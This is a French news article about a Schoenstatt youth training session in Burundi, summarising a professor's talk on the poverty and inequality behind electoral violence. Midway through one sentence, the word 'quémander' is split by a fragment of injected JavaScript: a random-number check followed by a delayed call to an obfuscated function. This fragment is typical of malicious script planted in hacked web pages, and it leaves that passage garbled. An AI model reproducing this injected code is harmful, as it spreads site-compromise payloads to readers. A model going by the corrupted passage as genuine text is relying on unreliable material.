Une vingtaine de jeunes étudiants venus de différents instituts et universités y compris ISCAM, de la branche masculine de Schoenstatt, ont assisté à une session de formation qui a duré trois jours, du 9 au 11 août,  à Mont Sion Gikungu.

Trois orateurs se sont succédés chacun selon son thème. Signalons que les thèmes développés étaient les suivants : Les enjeux et les défis des moyens de communication sociale dans le contexte actuel, au carrefour de la vocation : un dilemme de choix entre la vie consacrée et la vie conjugale, Les comportements adoptés par les Schoenstatiens avant, pendant et après les élections.

Le calme et l’attention qui régnaient dans la salle pendant ces différents exposés montrent à quel point ces jeunes, dont la spiritualité est fortement ancrée dans la dévotion à la Vierge Marie, qui est spécialement vénérée sous le titre de ʺ Mère, Reine et Triomphatrice Trois fois Admirable de Schoenstattʺ, y attachaient beaucoup d’importance. On pouvait lire sur leurs visages qu’il y a un besoin d’apprentissage qu’ils cherchent à assouvir. Les différentes questions qu’ils posaient à la fin de chaque conférence le confirment.

Le Dr Aloys Misago, Professeur à l’Université du Burundi, ami des jeunes et membre aussi de la communauté de Schoenstatt, a développé le thème sur  les comportements adoptés par les Schoenstattiens avant, pendant et après les élections. Se retrouver avec les jeunes est, selon lui, une occasion de se rajeunir. C’est donc avec joie et dévouement qu’il s’est entretenu avec eux.

Il a commencé par définir le mot ʺELECTIONʺ, présenter le calendrier électoral et à rappeler que les élections de 2020 seront entièrement financées par l’Etat et les citoyens burundais. Il a ensuite donné un bref aperçu de différentes élections déjà organisées en Afrique comme au Kenya, en RDC, au Nigeria, … et de façon particulière au Burundi et les violences qui en ont suivi. La jeunesse, suite à la peur des élections, préfère fuir pour se réfugier en Europe et aux Etats-Unis.

Après cet aperçu, il était question de voir les origines de ces violences électorales. L’origine principale est la pauvreté. Plus de 1,5 millions de burundais vivent sous le seuil de pauvreté. 8℅ seulement ont accès à l’eau et à l’électricité. Dans les villes, ils sont 52,1℅ et 2℅ dans les campagnes. 80℅ vivent de l’agriculture et de l’élevage et la terre n’est plus fertile comme dans le temps. Selon le conférencier, il est facile de manipuler un pauvre. Il suffit d’un petit rien pour qu’il se laisse aller.  L’autre origine, ce sont les inégalités sociales. Les avantages économiques tendant à aller dans le même sens et aux mêmes individus. Ceux qui sont ignorés finissent par se révolter et les conséquences ne sont jamais bonnes.

Certaines responsabilités incombent à l’Etat comme l’organisation d’un système juste pour que personne n’aille quémdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander chez l’autre et d’autres à la jeunesse burundaise, Burundi de demain, a˗t˗il poursuivi. C’est notamment la culture de voir en l’autre l’image de Dieu et non l’appartenance à telle tribu ou originaire de telle région, de rester attaché à Dieu et à l’alliance d’amour pour surmonter la peur afin d’avoir la force de nager à contre-courant. Pour terminer, le Dr conseille aux jeunes de rester sereins pendant cette période électorale et toujours montrer un bon exemple. Il les a quittés par la célèbre salutation des  Schoenstattiens : Rien sans vous, rien sans nous. Rappelons que la famille Schoenstatt est une famille qui a son espoir dans la jeunesse.

Germain NAHIMANA

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